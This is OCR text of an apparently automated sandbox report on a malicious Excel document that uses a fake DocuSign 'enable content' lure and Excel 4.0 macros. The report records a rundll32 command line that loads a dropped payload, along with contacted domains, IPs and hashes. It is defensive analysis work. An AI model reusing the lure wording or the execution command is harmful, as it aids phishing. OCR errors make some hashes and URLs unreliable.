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Analysis Report 32154f4c_by_Libranalysis
Overview

General Information Detection Signatures Classification

Sample 32154f4c_by_Libranalysis
Name: (renamed file extension [ MALICIOUS ]

from none to xIs)

Office document tries to convince Vvi...

Document exploit detected (UrlDown...
Analysis ID: 412197

Document exploit detected (process...

MDs: 32154f4¢3997c4c.

SHAL: 4047b10ce837d7.. Found Excel 4.0 Macro with suspicio...
SHA256: c92b6793b94574.. Found abnoermal large hidden Excel ...
Tags: Sigma detected: Microsoft Office Pr...
Infos: ;1‘ ptd Doecument contains embedded VBA ...

Most interesting Screenshot: JABISSIL client fingerprint seenin cok..

Hidden Macro 4.0 Potential document exploit detected:..

PSR

e Score: 68 Potential documentexploitdetected...

Range: 0-100 Potential/decument exploit detected.:

[PRTpI——— Whitelisted: false
Confidence: 100%

DocuSign,

The GlobalStandard for eignaturs

o A S : i
Startup

= System is w7x64

. EXCEL.EXE (PID: 552 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. D rundll32.exe (PID: 2384 cmdline: rundll32 ..\ritofm.cvm,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2320 cmdline: rundll32 ..\ritofm.cvm1,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Signature Overview
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@ Compliance

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection

g

Click to jump to signature section

Software Vulnerabilities:

System Summary:

Mitre Att&ck Matrix

Command Remote

Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration Control Effects Effects Impz
Valid Scripting Path Process Masquerading os File and Remote Data from  Exfiltration Encrypted Eavesdrop on Remotely Modi
Accounts Interception Injection Credential Directory Services Local Over Other Channel Insecure Track Device Syst
Dumping  Discovery System Network Network Without Parti

Medium Communication Authorization

Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely Devi
Accounts Client Logon Logon Tools Memory  Information  Desktop Removable Over Application Redirect Phone Wipe Data  Lock

Execution Initialization  Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without

Scripts Scripts Protocol Authorization

Domain At (Linux) Logon Script Logon Rundll32 Security  Query SMB/Windows Data from Automated Application Exploit SS7to Obtain Dele
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Layer Track Device  Device Devi
(Windows) Manager Shared Protocol @4 Location Cloud Data

Drive Backups
Local At (Windows)  Logon Script Logon Process NTDS System Distributed Input Scheduled Ingress SIM Card Carri
Accounts (Mac) Script Injection Network Component  Capture Transfer Tool Swap Billin
(Mac) Configuration Object Model Transfer Frau

Discovery

Cloud Cron Network Network Scripting LSA Remote SSH Keylogging Data Fallback Manipulate Mani
Accounts Logon Script Logon Secrets System Transfer Channels  Device App
Script Discovery Size Limits Communication Rant

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

ID:

Sample:

Startdate:

Behavior Graph
412197

32154f4c_by_Libranalysis
12/05/2021

Architecture:  WINDOWS

Score:

68

fcventasyservicios.cl
192.185.32.232, 443, 49170
UNIFIEDLAYER-AS-1US
United States ES

Ig EXCEL.EXE

signifysystem.com

192.185.39.58, 443, 49167
UNIFIEDLAYER-AS-1US

United States ES

started

a#

rundli32.exe

Hide Legend

Legend:

@ BEOEA0

ES W E

i
i
=

L@ 2 )

C

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

started

A 4
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32154f4c_by Libranalysis [Compatibility Mode] - Microsaft Excel - 32154f4c_by_Libranalysis [Compatibility Mode]
Home | Inset  Pagelayout  Formulas  Data  Review  View

. = = ) , D o, e .
& cut Calibri -1 ==[=| ® SiwapTet General - ijj % ;d = o [ Z AutoSum

23 Copy ~ @] Fin -
B I U-| i B Merge & Center = v o, s | %3 0 Conditional Format Cell | Insert Delete Format
 Format Painter LR SMergescenter - § - % 80 S8 | o matting - o3 Table - Styles~ |~ G - | @ cear-

o B8
2@ o @ =

i &

Sort & Find &
Filter~ Select~

Clipboard ] Font Alignment ] Humber Styles Cells Editing

FA

c D

Docus ; THIS DOCUMENT IS ENCRYPTED BY
s DOCUSIGN® PROTECT SERVICE

HNH

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

wlw|w e e

E] If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

E] Once You have Enable Editing, please click Enable Content
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

You are using iQS or Android, please use Desktop PC

You are trying to view this document using Online Viewer

The Global Standard for eSignature’

7]

|[ED D 100% =

- O € € S

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner

32154f4c_by_Libranalysis.xls 4% ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner
signifysystem.com 0% Virustotal
fcventasyservicios.cl 0% Virustotal
URLs

Source Detection Scanner
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation

Copyright Joe Security LLC 2021

Label Link

Label Link
Browse
Browse

Label Link

safe

safe
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https://www.virustotal.com/gui/url/683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835/detection/u-683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835-1619916640
https://www.virustotal.com/gui/url/1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0/detection/u-1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0-1610443553

Source
hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

Domains and IPs

Contacted Domains

Name
signifysystem.com

fcventasyservicios.cl

URLs from Memory and Binaries

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp:/f/www.msnbc.com/news/ticker.txt

hitp://iwww.icra.org/vocabulary/.

hitp://iwindowsmedia.com/redir/services.asp?

WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://investor.msn.com/

Contacted IPs

Copyright Joe Security LLC 2021

Active
192.185.39.58 true
192.185.32.232 true

Source

rundll32.exe, 00000002.0000000
2.2126172665.0000000001CF7000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2120044976.000
0000001C97000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2119847061.0000000001AB0000.
00000002.00000001.sdmp

rundll32.exe, 00000002.0000000
2.2125982272.0000000001B10000.
00000002.00000001.sdmp, rundlI32.exe,
00000003.00000002.2119847061.000
0000001AB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000002.0000000
2.2125982272.0000000001B10000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2119847061.000
0000001AB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000002.0000000
2.2126172665.0000000001CF7000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2120044976.000
0000001C97000.00000002.0000000
1.sdmp

rundll32.exe, 00000002.0000000
2.2126172665.0000000001CF7000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2120044976.000
0000001C97000.00000002.0000000
1.sdmp

rundll32.exe, 00000002.0000000
2.2125982272.0000000001B10000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2119847061.000
0000001AB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000002.0000000
2.2125982272.0000000001B10000.
00000002.00000001.sdmp, rundl32.exe,
00000003.00000002.2119847061.000
0000001AB0000.00000002.0000000
1.sdmp

Detection Scanner

0% URL Reputation

0% URL Reputation

0% URL Reputation

0% URL Reputation

0% URL Reputation

0% URL Reputation

Malicious Antivirus Detection

false e 0%, Virustotal, Browse

false e 0%, Virustotal, Browse

Malicious Antivirus Detection

false

false

false

false

false e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

false e URL Reputation:
e URL Reputation:
e URL Reputation:
e URL Reputation:

false

false

Label
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe

safe
safe
safe
safe

Link

Reputation
unknown

unknown

Reputation

high

high

high

high

unknown

unknown

high

high

Page 8 of 40


https://www.virustotal.com/gui/url/683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835/detection/u-683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835-1619916640
https://www.virustotal.com/gui/url/1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0/detection/u-1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0-1610443553

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
192.185.39.58 signifysystem.com United States £S5 46606 UNIFIEDLAYER-AS-1US false
192.185.32.232 fcventasyservicios.cl United States £S5 46606 UNIFIEDLAYER-AS-1US false

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright Joe Security LLC 2021

32.0.0 Black Diamond

412197

12.05.2021

13:35:17

CloudBasic

Oh 7m 3s

false

light

32154f4c_by_Libranalysis (renamed file extension from
none to xIs)
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

6

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal68.expl.evad.winXLS@5/11@2/2
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EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

Match
192.185.39.58

192.185.32.232

Domains

Match

signifysystem.com

fcventasyservicios.cl

ASN

Match
UNIFIEDLAYER-AS-1US

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Failed

Failed

Successful, ratio: 100%

Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time
Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer

Found warning dialog
Click Ok

Attach to Office via COM
Scroll down

Close Viewer

Show All
e Excluded IPs from analysis (whitelisted):
192.35.177.64, 2.20.143.16, 2.20.142.209
Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
audownload.windowsupdate.nsatc.net,
apps.digsigtrust.com, ctldl.windowsupdate.com,
a767.dscg3.akamai.net, apps.identrust.com, au-bg-

Detection
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious

malicious

shim.trafficmanager.net

Report size getting too big, too many
NtDeviceloControlFile calls found.

Link

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse

Browse

Context

Context

192.185.39.58
192.185.39.58
192.185.39.58
192.185.32.232

192.185.32.232
192.185.32.232

Context

192.185.32.232
192.185.32.232
192.185.32.232
192.232.222.43
67.20.76.71

192.185.17
1.219

Page 10 of 40


https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid

Match

UNIFIEDLAYER-AS-1US

JA3 Fingerprints

Match
7dcce5b76c8b17472d024758970a406b

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

> >
" 3
] ]
o o
2, 2,
2 2
@ @
o o
(7] (7]
o o
3 3
i i
® o
2 2
o o
3 3
® ®
(= c
A A
[l [l

Detection
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

162.241.169.22

192.185.17
1.219

192.185.129.32
162.241.62.63

162.241.24
4.112

162.144.13.239

108.167.18
0.164

108.167.18
0.164

108.179.232.90

162.241.19
0.216

108.179.232.90

192.185.11
5.105

162.241.19
0.216

192.185.22
6.148

192.185.32.232
192.185.32.232
192.185.32.232
192.232.222.43
67.20.76.71

192.185.17
1.219

162.241.169.22

192.185.17
1.219

192.185.129.32
162.241.62.63

162.241.24
4.112

162.144.13.239

108.167.18
0.164

108.167.18
0.164

108.179.232.90

162.241.19
0.216

108.179.232.90

192.185.11
5.105

162.241.19
0.216

192.185.22
6.148

Context

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58
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https://view.joesandbox.com/analysis/320642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320756/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320546/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58
Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Microsoft Cabinet archive data, 59863 bytes, 1 file

dropped

59863

7.99556910241083

true
1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOgOrdDdJPAX1LHA/
15775D95513782F99CDFB17E65DFCEB1
6C11F8BEE799B093F9FF4841E31041B081B23388
477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBEOO

ACO09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCES62C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD
E7

false

moderate, very likely benign file

MSCF............ e | IO b....... R.i .authroot.stl.qqp.4..CK..8T....c_.d....AF...m"...AH)-.%.QIR..$t)Kd.-QQ*..~.L.2.L.......sx.}...~....$....yy.A.8;....|. %OV.a0xN...
9..C..tz. X...,..1Qj,.p.Ey..ac’.<.e.c.aZW..B jy... N|..+)..L.r.X.0.. ..Y..jA8C........ n7R...p!_+.<..AWt=..sV...90..CD./.s.\#.t#..s..Jeiu..BS.....8..(9..t....=,..r.d.].xgX4....... g.
IF.Mny"W.R...K\.P.n_..7......@pm.. Q....(#.....=.)...1.kC. ... 7S.L...S..AR.).hgS..DK.6,j....u_.0.(4g....!,.L"....ha]2.....J9. \.Ww....... %........ 4E...
.0.QA.0M<.&MaD.....,.J* .5 A P>V wlz DS Z N<.d.?<..b.,..n.....YKX.0.Z..72.93+9T.%..5YKEV..aD.0..Y../e.7...c.
gocALELL U2 X L& Ue.?.2..8)S.T..r..l?M..;....r,QH.B <.(t..8s3..u[.N8gL.%...v....f..W.y...cz-. EQ.....c...0.N......D*.....2.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

893

7.366016576663508

false
24:hBntmDVKUQQDVKUr7C5fpgp8gPvXHmMXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
D4AE187B4574036C2D76B6DF8A8C1A30
BO6F409FA14BAB33CBAF4A37811B8740B624D9ES
A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CCIF8FAB370386E13879C7

1F44A360E8BBBADA22BC5BFEO01F1BABB4E72005A46BC2A94C33C4BD149FF256CCEGF35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B
C

false
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https://view.joesandbox.com/analysis/320371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320371/html/none?idtype=webid
https://view.joesandbox.com/analysis/320257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320257/html/none?idtype=webid
https://view.joesandbox.com/analysis/320237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320237/html/none?idtype=webid
https://view.joesandbox.com/analysis/320224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320224/html/none?idtype=webid
https://view.joesandbox.com/analysis/320208/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320208/html/none?idtype=webid
https://view.joesandbox.com/analysis/320204/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320204/html/none?idtype=webid
https://view.joesandbox.com/analysis/320169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320169/html/none?idtype=webid
https://view.joesandbox.com/analysis/320168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320168/html/none?idtype=webid
https://view.joesandbox.com/analysis/320155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320155/html/none?idtype=webid
https://view.joesandbox.com/analysis/320151/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320151/html/none?idtype=webid
https://view.joesandbox.com/analysis/320146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320146/html/none?idtype=webid
https://view.joesandbox.com/analysis/320129/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320129/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EOF5C59F9FA661F6F4C50B87FEF3A15A
Reputation: high, very likely benign file

Preview:

0.y..*H........j0..f..1.0..* H.........N0..J0..2.......D...."..09...@KO0...*.H .0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...0009302112197..210930
1401157071%0"..U....Digital Signature Trust Co0.1.0...U....DST Root CA X30.."0...*.H............. O P.W.be......kO.[..}.@
.0...#8.y.1.P..e.Qc...a.Ka.Rk..K.(.H.....>.... [*..p...%.tr {j.4.0..h{T....Z..=d.....Ap..r.&8U9C...\@........% Ln>l\L<id
00U, {,9...K.u..."...0..%. (72K YD > Kt~ K Dl N,
X..gvgx...V..9%$1...Z0G..P....... dc'........ }...=2.e. | [Wv..(9..e..w,j.w......)...55.1.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.107852014091462

Encrypted: false

SSDEEP: 6:KKUA1NpkQSN+SKQIPIEGYRMY9z+4KIDA3RUeSKyzkOt:3phZkPIE99SNXAhUeSKO

MD5: 8AE5A3589BAB87FFFC5C6507155494B7

SHAL: 89EDA7EF08B88BFE746CCFDFA94538A1ABALFEAA

SHA-256: 8CFO5E9F997E0F5F4B4A431005970E37753E55B8E963DF9705EFF16CB612C747

SHA-512: E75B7CCA073A9640DDC4903EBA6DA282879515161EEF34BBBD0A5D473E2B4F29276273C91F2D2807CC59C580F9FB4AD33D948B8876FAESE79250403D7E00CSE
E

Malicious: false

Reputation: low

Preview:
Peeees e "EENG (et eieaeea Y5.....8...........httpo/letldl. .window.s.u.p.date..com/ms.dow.nlo.ad/up.date.lv.3./

s.tatic/trustedr/en/authro.ots.tl.cab.."8.0.f8.8.3.59.354d.7.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriICache\MetaData\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 252

Entropy (8bit): 2.9853979364525847

Encrypted: false

SSDEEP: 3:KkFKIht3VXfIIXIE/IQEBIIPIzZRkwWBARLNDU+ZMIKIBkvclcMIVHbIB1FfISnPM:KKACQE1iIBAIdQZV7ulPPN

MDS5: F5AC71F2B2AB99EA7424D4C733385B4B

SHAL: CFD6AAACFB5A941E56FODD6E3FAFB650AB2D6F1F

